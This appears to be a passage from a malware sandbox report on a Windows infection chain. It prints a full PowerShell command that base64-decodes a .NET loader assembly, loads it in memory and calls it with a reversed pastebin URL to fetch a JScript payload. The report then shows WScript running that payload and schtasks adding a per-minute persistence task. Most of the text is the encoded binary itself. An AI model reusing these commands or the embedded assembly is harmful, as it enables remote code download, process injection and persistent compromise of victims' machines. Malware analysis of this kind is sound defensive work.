AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgAAAMAAAAJDQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';[Byte[]] $EuKVK = [System.Convert]::FromBase64String( $bFjDJ );[System.AppDomain]::CurrentDomain.Load($EuKVK).GetType('ClassLibrary3.reed').GetMethod('testd').Invoke($null, [object[]] ('xvdvZ3wN/war/moc.nibetsap//:sptth' , 'C:\Users\Admin\AppData\Local\Temp\Chromeglogge.js' , 'Chromeudata', '3', '1', 'Regedit Name' ) );
    3⤵
    - Drops file in System32 directory
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2500
- C:\Windows\System32\WScript.exe
  C:\Windows\System32\WScript.exe "C:\Users\Admin\AppData\Local\Temp\Chromeglogge.js"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of WriteProcessMemory
  PID:1844
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /delete /tn Chromeupd /f
    3⤵
    PID:592
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /tn Chromeupd /tr "C:\Users\Admin\AppData\Local\Temp\Chromeglogge.js" /sc minute /mo 1
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2480
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $bFjDJ = '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cHBsaWNhdGlvbkJhc2UAQXBwbGljYXRpb25TZXR0aW5nc0Jhc2UAU3RyUmV2ZXJzZQBFZGl0b3JCcm93c2FibGVTdGF0ZQBHdWlkQXR0cmlidXRlAEVkaXRvckJyb3dzYWJsZUF0dHJpYnV0ZQBDb21WaXNpYmxlQXR0cmlidXRlAEFzc2VtYmx5VGl0bGVBdHRyaWJ1dGUAU3RhbmRhcmRNb2R1bGVBdHRyaWJ1dGUASGlkZU1vZHVsZU5hbWVBdHRyaWJ1dGUAQXNzZW1ibHlUcmFkZW1hcmtBdHRyaWJ1dGUAVGFyZ2V0RnJhbWV3b3JrQXR0cmlidXRlAEFzc2VtYmx5RmlsZVZlcnNpb25BdHRyaWJ1dGUAT2JmdXNjYXRpb25BdHRyaWJ1dGUATXlHcm91cENvbGxlY3Rpb25BdHRyaWJ1dGUAQXNzZW1ibHlEZXNjcmlwdGlvbkF0dHJpYnV0ZQBZYW5vQXR0cmlidXRlAENvbXBpbGF0aW9uUmVsYXhhdGlvbnNBdHRyaWJ1dGUAQXNzZW1ibHlQcm9kdWN0QXR0cmlidXRlAEFzc2VtYmx5Q29weXJpZ2h0QXR0cmlidXRlAEFzc2VtYmx5Q29tcGFueUF0dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQBnZXRfVmFsdWUAc2V0X1ZhbHVlAEdldE9iamVjdFZhbHVlAE5ld0xhdGVCaW5kaW5nAHNldF9FbmNvZGluZwBTeXN0ZW0uUnVudGltZS5WZXJzaW9uaW5nAEZyb21CYXNlNjRTdHJpbmcARG93bmxvYWRTdHJpbmcAVG9TdHJpbmcAR2V0Rm9sZGVyUGF0aABNaWNyb3NvZnQuVmlzdWFsQmFzaWMuTXlTZXJ2aWNlcy5JbnRlcm5hbABTeXN0ZW0uQ29tcG9uZW50TW9kZWwATGF0ZUNhbGwAQ2xhc3NMaWJyYXJ5My5kbGwAc2V0X1NlY3VyaXR5UHJvdG9jb2wAU3lzdGVtAFRyaW0AQm9vbGVhbgBBcHBEb21haW4AZ2V0X0N1cnJlbnREb21haW4AVmVyc2lvbgBTeXN0ZW0uQ29uZmlndXJhdGlvbgBTeXN0ZW0uR2xvYmFsaXphdGlvbgBJbnRlcmFjdGlvbgBTeXN0ZW0uUmVmbGVjdGlvbgBFeGNlcHRpb24ATWV0aG9kSW5mbwBDdWx0dXJlSW5mbwBsaXhvbwBsaXhvAFNwZWNpYWxGb2xkZXIAUmVzb3VyY2VNYW5hZ2VyAFNlcnZpY2VQb2ludE1hbmFnZXIAVXNlcgBDb21wdXRlcgBUb0xvd2VyAENsZWFyUHJvamVjdEVycm9yAFNldFByb2plY3RFcnJvcgBBY3RpdmF0b3IALmN0b3IALmNjdG9yAE1pY3Jvc29mdC5WaXN1YWxCYXNpYy5EZXZpY2VzAE1pY3Jvc29mdC5WaXN1YWxCYXNpYy5BcHBsaWNhdGlvblNlcnZpY2VzAFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcwBNaWNyb3NvZnQuVmlzdWFsQmFzaWMuQ29tcGlsZXJTZXJ2aWNlcwBTeXN0ZW0uUnVudGltZS5Db21waWxlclNlcnZpY2VzAFN5c3RlbS5SZXNvdXJjZXMAQ2xhc3NMaWJyYXJ5My5SZXNvdXJjZXMucmVzb3VyY2VzAFN0cmluZ3MAUmVmZXJlbmNlRXF1YWxzAENvbnRhaW5zAFJ1bnRpbWVIZWxwZXJzAENvbmNhdABDcmVhdGVPYmplY3QAR2V0T2JqZWN0AExhdGVHZXQAU3lzdGVtLk5ldABMYXRlU2V0AFdlYkNsaWVudABFbnZpcm9ubWVudABDb252ZXJ0AFN5c3RlbS5UZXh0AGdldF9Bc3NlbWJseQBFbXB0eQAAL0MAbABhAHMAcwBMAGkAYgByAGEAcgB5ADMALgBSAGUAcwBvAHUAcgBjAGUAcwAAG0MAbABhAHMAcwBMAGkAYgByAGEAcgB5ADEAAAVqAHMAAAcuAGoAcwAAAzMAABtXAFMAYwByAGkAcAB0AC4AUwBoAGUAbABsAAABAB1DAHIAZQBhAHQAZQBTAGgAbwByAHQAYwB1AHQAAANcAAAJLgBsAG4AawAAFVQAYQByAGcAZQB0AFAAYQB0AGgAABlJAGMAbwBuAEwAbwBjAGEAdABpAG8AbgAAIWkAbQBhAGcAZQByAGUAcwAuAGQAbABsACwAIAAyADcAABdXAGkAbgBkAG8AdwBTAHQAeQBsAGUAAAlTAGEAdgBlAABFawByAG8AdwBlAG0AYQByAEYAXABUAEUATgAuAHQAZgBvAHMAbwByAGMAaQBNAFwAcwB3AG8A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